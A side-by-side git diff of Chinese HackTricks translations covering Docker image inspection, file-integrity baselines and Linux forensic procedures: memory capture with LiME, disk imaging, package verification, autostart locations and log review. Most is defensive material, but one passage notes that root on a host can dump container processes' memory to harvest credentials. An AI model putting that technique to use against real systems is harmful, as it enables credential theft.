sudo docker load < image.tar 1 sudo docker load < image.tar 1
@ -90,32 +90,16 @@ Loaded image: flask:latest
#And then open it with dive: #And then open it with dive:
sudo dive flask:latest sudo dive flask:latest
``` ```
```markdown 这使您能够**浏览Docker镜像的不同blob**,并检查哪些文件已被修改/添加。**红色**表示已添加,**黄色**表示已修改。使用**tab**键切换到其他视图,使用**空格**键折叠/打开文件夹。
这使您能够**浏览不同的docker镜像blobs**,并检查哪些文件被修改/添加。**红色**表示添加,**黄色**表示修改。使用**tab**切换到其他视图,使用**空格**折叠/打开文件夹。
使用die您将无法访问镜像不同阶段的内容。要做到这一点您需要**解压每个层并访问它**。\ 使用die您将无法访问镜像不同阶段的内容。要这样做您需要**解压缩每个层并访问它**。\
您可以从解压镜像的目录中解压所有层,执行: 您可以从解压缩镜像的目录中解压缩图像的所有层,执行:
```
```bash ```bash
tar -xf image.tar tar -xf image.tar
for d in `find * -maxdepth 0 -type d`; do cd $d; tar -xf ./layer.tar; cd ..; done for d in `find * -maxdepth 0 -type d`; do cd $d; tar -xf ./layer.tar; cd ..; done
``` ```
## 从内存中获取凭 ## 从内存中获取凭
请注意,当您在宿主机内运行一个docker容器时**您可以通过执行`ps -ef`命令从宿主机上看到容器中运行的进程**。 请注意当您在主机内运行一个docker容器时**您可以从主机上运行`ps -ef`命令来查看容器中运行的进程**
因此作为root用户您可以**从宿主机转储进程的内存**并搜索**凭证**,就像[**以下示例中所展示的**](../../linux-hardening/privilege-escalation/#process-memory)。 因此作为root用户您可以从主机中**转储进程的内存**,并搜索凭据,就像[**以下示例**](../../linux-hardening/privilege-escalation/#process-memory)中一样。
<details>
<summary><strong>从零开始学习AWS黑客攻击直到成为专家通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong></strong></summary>
支持HackTricks的其他方式
* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF版本**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 获取[**官方的PEASS & HackTricks商品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库**提交PR来分享您的黑客技巧**。
</details>

View file

@ -1,54 +1,54 @@
<details> <details>
<summary><strong>通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>从零开始学习AWS黑客攻击</strong></summary> <summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS红队专家</strong></a><strong></strong></summary>
支持HackTricks的其他方式 支持HackTricks的其他方式
* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF版本**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop) * 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks品**](https://peass.creator-spring.com) * 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family) * 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。** * **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。** * 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details> </details>
# 基线 # 基线
基线是指对系统某些部分进行快照,以**与未来的状态进行比较,突出显示变化**。 基线包括对系统的某些部分进行快照,以便**将来与之进行比较以突出变化**。
例如,您可以计算并存储文件系统中每个文件的哈希,以便找出哪些文件被修改。\ 例如,您可以计算并存储文件系统中每个文件的哈希,以便找出哪些文件被修改。\
这也可以用于创建的用户账户、正在运行的进程、正在运行的服务以及任何不应该发生太多变化或根本不变的其他事物。 这也可以用于创建的用户帐户、运行的进程、运行的服务以及任何其他不应该或根本不应该发生变化的事物。
## 文件完整性监控 ## 文件完整性监控
文件完整性监控是用于保护IT基础设施和业数据免受各种已知和未知威胁的最强大技术之一。\ 文件完整性监控是用于保护IT基础设施和业数据免受各种已知和未知威胁的最强大技术之一。\
目标是生成您想要监控的**所有文件的基线**,然后**定期** **检查**这些文件是否有可能发生**变化**(内容、属性、元数据等)。 其目标是生成您想要监控的所有文件的**基线**,然后**定期检查**这些文件以查找可能的**更改**(内容、属性、元数据等)。
1\. **基线比较**,其中将捕获或计算一个或多个文件属性,并存储为基线,以便将来进行比较。这可以简单到文件的时间和日期,但由于这些数据可以轻易伪造,通常会使用更可信的方法。这可能包括定期评估受监控文件的加密校验和(例如使用MD5或SHA-2哈希算法然后将结果与先前计算的校验和进行比较。 1\. **基线比较**,其中将捕获或计算一个或多个文件属性,并将其存储为可以在将来进行比较的基线。这可以简单到文件的时间和日期,但由于这些数据很容易被伪造,通常会使用更可信赖的方法。这可能包括定期评估受监控文件的加密校验和例如使用MD5或SHA-2哈希算法然后将结果与先前计算的校验和进行比较。
2\. **实时变更通知**,通常在操作系统的内核中实现或作为扩展,当文件被访问或修改时会发出标志。 2\. **实时更改通知**,通常在操作系统的内核内或作为其扩展实现,当文件被访问或修改时会发出标志。
## 工具 ## 工具
* [https://github.com/topics/file-integrity-monitoring](https://github.com/topics/file-integrity-monitoring) * [https://github.com/topics/file-integrity-monitoring](https://github.com/topics/file-integrity-monitoring)
* [https://www.solarwinds.com/security-event-manager/use-cases/file-integrity-monitoring-software](https://www.solarwinds.com/security-event-manager/use-cases/file-integrity-monitoring-software) * [https://www.solarwinds.com/security-event-manager/use-cases/file-integrity-monitoring-software](https://www.solarwinds.com/security-event-manager/use-cases/file-integrity-monitoring-software)
# 参考资料 # 参考
* [https://cybersecurity.att.com/blogs/security-essentials/what-is-file-integrity-monitoring-and-why-you-need-it](https://cybersecurity.att.com/blogs/security-essentials/what-is-file-integrity-monitoring-and-why-you-need-it) * [https://cybersecurity.att.com/blogs/security-essentials/what-is-file-integrity-monitoring-and-why-you-need-it](https://cybersecurity.att.com/blogs/security-essentials/what-is-file-integrity-monitoring-and-why-you-need-it)
<details> <details>
<summary><strong>通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>从零开始学习AWS黑客攻击</strong></summary> <summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS红队专家</strong></a><strong></strong></summary>
支持HackTricks的其他方式 支持HackTricks的其他方式
* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF版本**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop) * 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks品**](https://peass.creator-spring.com) * 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family) * 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。** * **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。** * 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details> </details>

View file

@ -1,24 +1,23 @@
# Linux 取证 # Linux取证
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\ 使用[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)可以轻松构建和**自动化工作流程**,利用世界上**最先进**的社区工具。\
使用 [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) 轻松构建并**自动化工作流程**,由世界上**最先进的**社区工具提供支持。\
立即获取访问权限: 立即获取访问权限:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
<details> <details>
<summary><strong>从零开始学习 AWS 黑客技术,成为</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS 红队专家)</strong></a><strong></strong></summary> <summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
其他支持 HackTricks 的方式: 支持HackTricks的其他方式:
* 如果你想在 HackTricks 中看到你的**公司广告**或**下载 HackTricks 的 PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop) * 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com) * 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 发现[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们独家[**NFTs 集合**](https://opensea.io/collection/the-peass-family) * 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家[NFT](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。** * **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来**分享你的黑客技巧。 * 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details> </details>
@ -26,12 +25,12 @@
### 基本信息 ### 基本信息
首先,建议携带一个**USB**,里面有**已知良好的二进制文件和库**(你可以直接获取 ubuntu 并复制 _/bin_、_/sbin_、_/lib_ 和 _/lib64_ 文件夹),然后挂载 USB修改环境变量以使用这些二进制文件: 首先,建议准备一些带有**已知良好二进制文件和库的USB**您可以使用Ubuntu并复制文件夹_/bin__/sbin__/lib_和_/lib64_然后挂载USB修改环境变量以使用这些二进制文件:
```bash ```bash
export PATH=/mnt/usb/bin:/mnt/usb/sbin export PATH=/mnt/usb/bin:/mnt/usb/sbin
export LD_LIBRARY_PATH=/mnt/usb/lib:/mnt/usb/lib64 export LD_LIBRARY_PATH=/mnt/usb/lib:/mnt/usb/lib64
``` ```
配置系统使用良好且已知的二进制文件,您可以开始**提取一些基本信息** 一旦您已配置系统使用良好且已知的二进制文件,您可以开始**提取一些基本信息**
```bash ```bash
date #Date and time (Clock may be skewed, Might be at a different timezone) date #Date and time (Clock may be skewed, Might be at a different timezone)
uname -a #OS info uname -a #OS info
@ -51,45 +50,45 @@ find /directory -type f -mtime -1 -print #Find modified files during the last mi
``` ```
#### 可疑信息 #### 可疑信息
在获取基本信息时,你应该检查一些异常情况,比如 在获取基本信息时,应检查以下异常情况
* **Root 进程** 通常具有较低的 PIDS因此如果你发现一个具有较大 PID 的 root 进程,你可能会怀疑 - **Root进程**通常以较低的PID运行因此如果发现一个具有较大PID的Root进程可能存在可疑情况
* 检查 `/etc/passwd` 中没有 shell 的用户的**注册登录** - 检查`/etc/passwd`中没有shell的用户的**注册登录**
* 检查 `/etc/shadow` 中没有 shell 的用户的**密码哈希** - 检查`/etc/shadow`中没有shell的用户的**密码哈希值**
### 内存转储 ### 内存转储
要获取正在运行系统的内存,建议使用 [**LiME**](https://github.com/504ensicsLabs/LiME)。\ 要获取运行系统的内存,建议使用[**LiME**](https://github.com/504ensicsLabs/LiME)。\
要**编译**它,你需要使用受害机器正在使用的**相同内核**。 要**编译**它,需要使用与受害者机器相同的**内核**。
{% hint style="info" %} {% hint style="info" %}
记住,你**不能在受害机器上安装 LiME 或任何其他东西**,因为这会对其进行多次更改 请记住,**不能在受害者机器上安装LiME或任何其他东西**,因为这将对其进行多处更改
{% endhint %} {% endhint %}
因此,如果你有一个相同版本的 Ubuntu你可以使用 `apt-get install lime-forensics-dkms`\ 因此,如果您有一个相同版本的Ubuntu可以使用`apt-get install lime-forensics-dkms`\
在其他情况下,你需要从 github 下载 [**LiME**](https://github.com/504ensicsLabs/LiME),并使用正确的内核头文件进行编译。要**获取受害机器的确切内核头文件**,你可以简单地**复制目录** `/lib/modules/<kernel version>` 到你的机器,然后使用它们**编译** LiME 在其他情况下,您需要从github下载[**LiME**](https://github.com/504ensicsLabs/LiME),并使用正确的内核头文件编译它。要**获取受害者机器的确切内核头文件**,您只需将目录`/lib/modules/<kernel version>`复制到您的机器上,然后使用它们**编译** LiME
```bash ```bash
make -C /lib/modules/<kernel version>/build M=$PWD make -C /lib/modules/<kernel version>/build M=$PWD
sudo insmod lime.ko "path=/home/sansforensics/Desktop/mem_dump.bin format=lime" sudo insmod lime.ko "path=/home/sansforensics/Desktop/mem_dump.bin format=lime"
``` ```
LiME支持3种**格式** LiME支持3种**格式**
* Raw每个段连续拼接在一起) - 原始(每个段连接在一起)
* Padded与raw相同但右侧位填充零) - 填充(与原始相同,但右位填充为零)
* Lime带有元数据的推荐格式) - Lime推荐的带有元数据的格式)
LiME还可以用来**通过网络发送转储**,而不是将其存储在系统上,使用类似:`path=tcp:4444` LiME还可以用于通过网络发送转储,而不是将其存储在系统上,使用类似以下的内容`path=tcp:4444`
### 磁盘成像 ### 磁盘成像
#### 关机 #### 关机
首先,你需要**关闭系统**。这并不总是一个选项,因为有时系统会是公司无法承受关闭的生产服务器。\ 首先,您需要**关闭系统**。这并不总是一个选项,因为有时系统将是公司无法关闭的生产服务器。\
有**两种方式**可以关闭系统,一种是**正常关机**,另一种是**"拔插头"关机**。前者将允许**进程像往常一样终止**,并且**文件系统**会被**同步**,但它也会允许可能的**恶意软件**来**销毁证据**。"拔插头"方法可能会带来**一些信息丢失**(不会丢失太多信息,因为我们已经取得了内存的镜像),并且**恶意软件将没有任何机会**做任何事情。因此,如果你**怀疑**可能有**恶意软件**,只需在系统上执行**`sync`** **命令**然后拔掉插头。 有**2种**关闭系统的方式,**正常关闭**和**"拔插头"关闭**。第一种方式将允许**进程像往常一样终止****文件系统**也将被**同步**,但也会允许可能的**恶意软件**来**销毁证据**。"拔插头"方法可能会带来**一些信息丢失**(不会丢失太多信息,因为我们已经对内存进行了镜像),而**恶意软件将无法对此做任何事情**。因此,如果您**怀疑**可能存在**恶意软件**,只需在系统上执行**`sync`** **命令**然后拔掉电源插头。
#### 获取磁盘镜 #### 对磁盘进行成
需要注意的是,在将你的计算机连接到与案件相关的任何东西之前,你需要确保它将被**挂载为只读**,以避免修改任何信息。 重要的是要注意,在**将计算机连接到与案件相关的任何内容之前**,您需要确保它将以**只读**方式挂载,以避免修改任何信息。
```bash ```bash
#Create a raw copy of the disk #Create a raw copy of the disk
dd if=<subject device> of=<image file> bs=512 dd if=<subject device> of=<image file> bs=512
@ -100,7 +99,7 @@ dcfldd if=/dev/sdc of=/media/usb/pc.image hash=sha256 hashwindow=1M hashlog=/med
``` ```
### 磁盘映像预分析 ### 磁盘映像预分析
对一个没有更多数据的磁盘映像进行成像。 使用没有更多数据的磁盘映像。
```bash ```bash
#Find out if it's a disk image using "file" command #Find out if it's a disk image using "file" command
file disk.img file disk.img
@ -153,11 +152,10 @@ r/r 16: secret.txt
icat -i raw -f ext4 disk.img 16 icat -i raw -f ext4 disk.img 16
ThisisTheMasterSecret ThisisTheMasterSecret
``` ```
```markdown
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\ \
使用 [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) 来轻松构建并**自动化工作流程**,这些工作流程由世界上**最先进**的社区工具提供支持。 使用[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)轻松构建和**自动化工作流**,利用世界上**最先进**的社区工具。\
立即获取访问权限: 立即获取访问权限:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
@ -166,8 +164,7 @@ ThisisTheMasterSecret
### 修改过的系统文件 ### 修改过的系统文件
一些 Linux 系统具有**验证许多已安装组件的完整性**的功能这提供了一种有效的方法来识别不寻常或不合位置的文件。例如Linux 上的 `rpm -Va` 旨在验证使用 RedHat 包管理器安装的所有包。 一些Linux系统具有**验证许多已安装组件完整性**的功能提供了一种有效的识别异常或位置不对的文件的方式。例如在Linux上`rpm -Va`旨在验证所有使用RedHat软件包管理器安装的软件包。
```
```bash ```bash
#RedHat #RedHat
rpm -Va rpm -Va
@ -177,7 +174,7 @@ debsums | grep -v "OK$" #apt-get install debsums
``` ```
### 恶意软件/Rootkit 检测器 ### 恶意软件/Rootkit 检测器
阅读以下页面以了解有助于发现恶意软件的工具: 阅读以下页面以了解可用于查找恶意软件的工具:
{% content-ref url="malware-analysis.md" %} {% content-ref url="malware-analysis.md" %}
[malware-analysis.md](malware-analysis.md) [malware-analysis.md](malware-analysis.md)
@ -185,10 +182,10 @@ debsums | grep -v "OK$" #apt-get install debsums
## 搜索已安装的程序 ## 搜索已安装的程序
### 包管理器 ### 软件包管理器
在基于Debian的系统中_**/var/lib/dpkg/status**_ 文件包含已安装包的详细信息,而 _**/var/log/dpkg.log**_ 文件记录了包安装时的信息。\ 在基于 Debian 的系统中_**/var/ lib/dpkg/status**_ 文件包含有关已安装软件包的详细信息,而 _**/var/log/dpkg.log**_ 文件记录了软件包安装时的信息。\
在RedHat及相关Linux发行版中**`rpm -qa --root=/mntpath/var/lib/rpm`** 命令将列出系统上RPM数据库的内容。 RedHat 及相关Linux 发行版中,**`rpm -qa --root=/ mntpath/var/lib/rpm`** 命令将列出系统上 RPM 数据库的内容。
```bash ```bash
#Debian #Debian
cat /var/lib/dpkg/status | grep -E "Package:|Status:" cat /var/lib/dpkg/status | grep -E "Package:|Status:"
@ -198,11 +195,11 @@ rpm -qa --root=/ mntpath/var/lib/rpm
``` ```
### 其他 ### 其他
**并非所有已安装的程序都会通过上述命令列出**,因为某些应用程序对于特定系统不提供包形式,必须从源代码安装。因此,检查像 _**/usr/local**__**/opt**_ 这样的位置可能会发现其他已经从源代码编译并安装的应用程序。 **并非所有已安装的程序都会在上述命令中列出**,因为某些应用程序在某些系统上不作为软件包提供,必须从源代码安装。因此,检查诸如 _**/usr/local**__**/opt**_ 等位置可能会发现其他已从源代码编译并安装的应用程序。
```bash ```bash
ls /opt /usr/local ls /opt /usr/local
``` ```
另一个好主意是**检查**位于**$PATH**中的**常见文件夹**,寻找与**已安装包无关的二进制文件:** 另一个好主意是**检查**`$PATH`中的**常见文件夹**,查找与**已安装软件包无关**的**可执行文件**
```bash ```bash
#Both lines are going to print the executables in /sbin non related to installed packages #Both lines are going to print the executables in /sbin non related to installed packages
#Debian #Debian
@ -210,7 +207,15 @@ find /sbin/ -exec dpkg -S {} \; | grep "no path found"
#RedHat #RedHat
find /sbin/ exec rpm -qf {} \; | grep "is not" find /sbin/ exec rpm -qf {} \; | grep "is not"
``` ```
## 恢复已删除的运行中二进制文件 <figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
使用[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)轻松构建并**自动化**由全球**最先进**的社区工具驱动的工作流。\
立即获取访问权限:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
## 恢复已删除的运行二进制文件
![](<../../.gitbook/assets/image (641).png>) ![](<../../.gitbook/assets/image (641).png>)
@ -232,7 +237,7 @@ ls -l /usr/lib/cron/tabs/ /Library/LaunchAgents/ /Library/LaunchDaemons/ ~/Libra
``` ```
### 服务 ### 服务
恶意软件通常会将自己伪装成一个新的、未授权的服务。Linux有许多脚本用于在计算机启动时启动服务。初始化启动脚本 _**/etc/inittab**_ 会调用其他脚本如rc.sysinit以及位于 _**/etc/rc.d/**_ 目录下的各种启动脚本,或在某些较旧版本中的 _**/etc/rc.boot/**_。在其他版本的Linux中如Debian启动脚本存储在 _**/etc/init.d/**_ 目录中。此外,一些常见服务在 _**/etc/inetd.conf**__**/etc/xinetd/**_ 中启用具体取决于Linux的版本。数字调查员应检查这些启动脚本中是否有异常条目。 恶意软件经常会将自己深入嵌入为一个新的未经授权的服务。Linux有许多脚本用于在计算机启动时启动服务。初始化启动脚本 _**/etc/inittab**_ 调用其他脚本,如 rc.sysinit 和 _**/etc/rc.d/**_ 目录下的各种启动脚本,或者在一些旧版本中是 _**/etc/rc.boot/**_。在其他版本的Linux中如Debian启动脚本存储在 _**/etc/init.d/**_ 目录中。此外,一些常见服务在 _**/etc/inetd.conf**__**/etc/xinetd/**_ 中启用具体取决于Linux的版本。数字取证人员应检查每个启动脚本中是否存在异常条目。
* _**/etc/inittab**_ * _**/etc/inittab**_
* _**/etc/rc.d/**_ * _**/etc/rc.d/**_
@ -245,50 +250,50 @@ ls -l /usr/lib/cron/tabs/ /Library/LaunchAgents/ /Library/LaunchDaemons/ ~/Libra
### 内核模块 ### 内核模块
在Linux系统中内核模块通常被用作恶意软件包的rootkit组件。根据 `/lib/modules/'uname -r'``/etc/modprobe.d` 目录中的配置信息以及 `/etc/modprobe``/etc/modprobe.conf` 文件,内核模块在系统启动时加载。应检查这些区域是否有与恶意软件相关的项目。 在Linux系统中内核模块通常被用作恶意软件包的rootkit组件。内核模块是根据 `/lib/modules/'uname -r'``/etc/modprobe.d` 目录中的配置信息以及 `/etc/modprobe``/etc/modprobe.conf` 文件在系统启动时加载的。应检查这些区域是否存在与恶意软件相关的条目。
### 其他自启动位置 ### 其他自启动位置
Linux使用几个配置文件在用户登录系统时自动启动可执行文件,这些文件可能包含恶意软件的痕迹。 Linux有几个配置文件用于在用户登录系统时自动启动可执行文件,这些文件可能包含恶意软件的痕迹。
* _**/etc/profile.d/\***_ _**/etc/profile**_ _**/etc/bash.bashrc**_ 在任何用户账户登录时执行。 * _**/etc/profile.d/\***_ , _**/etc/profile**_ , _**/etc/bash.bashrc**_ 在任何用户帐户登录时执行。
* _**/.bashrc**_ _**/.bash\_profile**_ _**\~/.profile**_ _**/.config/autostart**_ 在特定用户登录时执行。 * _**/.bashrc**_ , _**/.bash\_profile**_ , _**\~/.profile**_ , _**/.config/autostart**_ 在特定用户登录时执行。
* _**/etc/rc.local**_ 传统上在所有正常系统服务启动后执行,在切换到多用户运行级别的过程结束时执行。 * _**/etc/rc.local**_ 传统上在所有正常系统服务启动后执行,在切换到多用户运行级别的过程结束时执行。
## 检查日志 ## 检查日志
检查受损系统上所有可用的日志文件,寻找恶意执行和相关活动的痕迹,如创建新服务。 在受损系统上查看所有可用的日志文件,以查找恶意执行和相关活动的痕迹,如创建新服务。
### 纯日志 ### 纯日志
**登录** 事件记录在系统和安全日志中,包括通过网络的登录,可以揭示 **恶意软件****入侵者通过特定账户在特定时间获得了** 对受损系统的访问。恶意软件感染时的其他事件也可以在系统日志中捕获,包括在事件发生时创建 **新的** **服务** 或新账户。\ 系统和安全日志中记录的**登录**事件,包括通过网络登录,可以显示**恶意软件**或**入侵者**在特定时间通过给定帐户访问受损系统的情况。系统日志中还可以捕获与恶意软件感染时间相关的其他事件,包括在事件发生时创建**新**的**服务**或新帐户。\
值得关注的系统登录: 有趣的系统登录:
* **/var/log/syslog** (debian) 或 **/var/log/messages** (Redhat) * **/var/log/syslog** (debian) 或 **/var/log/messages** (Redhat)
* 显示系统的一般消息和信息。它是全局系统所有活动的数据日志。 * 显示有关系统的一般消息和信息。这是全局系统活动的数据日志。
* **/var/log/auth.log** (debian) 或 **/var/log/secure** (Redhat) * **/var/log/auth.log** (debian) 或 **/var/log/secure** (Redhat)
* 保存成功或失败的登录和认证过程的认证日志。存储取决于系统类型。 * 保留成功或失败登录以及认证过程的认证日志。存储位置取决于系统类型。
* `cat /var/log/auth.log | grep -iE "session opened for|accepted password|new session|not in sudoers"` * `cat /var/log/auth.log | grep -iE "session opened for|accepted password|new session|not in sudoers"`
* **/var/log/boot.log**:启动消息和启动信息。 * **/var/log/boot.log**:启动消息和引导信息。
* **/var/log/maillog** 或 **var/log/mail.log**邮件服务器日志,对于在服务器上运行的postfix、smtpd或与电子邮件相关的服务信息很有用 * **/var/log/maillog** 或 **var/log/mail.log**用于邮件服务器日志,适用于在服务器上运行的postfix、smtpd或与电子邮件相关的服务信息。
* **/var/log/kern.log**:保存内核日志和警告信息。内核活动日志例如dmesg、kern.log、klog可以显示某个服务反复崩溃,可能表明安装了不稳定的木马版本。 * **/var/log/kern.log**:保留内核日志和警告信息。内核活动日志例如dmesg、kern.log、klog可以显示特定服务重复崩溃,可能表明安装了不稳定的木马版本。
* **/var/log/dmesg**:设备驱动消息的存储库。使用 **dmesg** 查看此文件中的消息。 * **/var/log/dmesg**:设备驱动程序消息的存储库。使用 **dmesg** 查看此文件中的消息。
* **/var/log/faillog**:记录失败登录的信息。因此,对于检查潜在的安全漏洞,如登录凭证被黑和暴力攻击,非常有用 * **/var/log/faillog**:记录失败登录的信息。因此,适用于检查潜在的安全漏洞,如登录凭据被盗和暴力攻击
* **/var/log/cron**记录与Crond相关的消息cron作业比如cron守护进程启动作业的时候 * **/var/log/cron**记录与Crond相关的消息cron作业例如cron守护程序启动作业时
* **/var/log/daemon.log**:跟踪运行的后台服务,但不以图形方式表示它们 * **/var/log/daemon.log**:跟踪运行的后台服务,但不以图形方式表示。
* **/var/log/btmp**:记录所有失败的登录尝试。 * **/var/log/btmp**:记录所有失败的登录尝试。
* **/var/log/httpd/**包含Apache httpd守护程的error\_log和access\_log文件的目录。httpd遇到的每个错误都保存在 **error\_log** 文件中。考虑内存问题和其他系统相关的错误。**access\_log** 记录通过HTTP收到的所有请求。 * **/var/log/httpd/**包含Apache httpd守护程的error\_log和access\_log文件的目录。httpd遇到的每个错误都记录在 **error\_log** 文件中。考虑内存问题和其他系统相关错误。**access\_log** 记录通过HTTP进入的所有请求。
* **/var/log/mysqld.log** 或 **/var/log/mysql.log**MySQL日志文件记录每个调试、失败和成功消息包括MySQL守护进程mysqld的启动、停止和重启。系统决定目录。RedHat、CentOS、Fedora和其他基于RedHat的系统使用 /var/log/mariadb/mariadb.log。然而Debian/Ubuntu使用 /var/log/mysql/error.log 目录。 * **/var/log/mysqld.log** 或 **/var/log/mysql.log**记录使用MySQL执行的每个调试、失败和成功消息包括启动、停止和重新启动MySQL守护程序mysqld。系统决定目录。RedHat、CentOS、Fedora和其他基于RedHat的系统使用 /var/log/mariadb/mariadb.log。但是Debian/Ubuntu使用 /var/log/mysql/error.log 目录。
* **/var/log/xferlog**:保存FTP文件传输会话。包括文件名和用户发起的FTP传输的信息。 * **/var/log/xferlog**:保留FTP文件传输会话。包括文件名和用户发起的FTP传输等信息。
* **/var/log/\*** : 您应该始终检查此目录中是否有意外的日志 * **/var/log/\***:您应始终检查此目录中的意外日志
{% hint style="info" %} {% hint style="info" %}
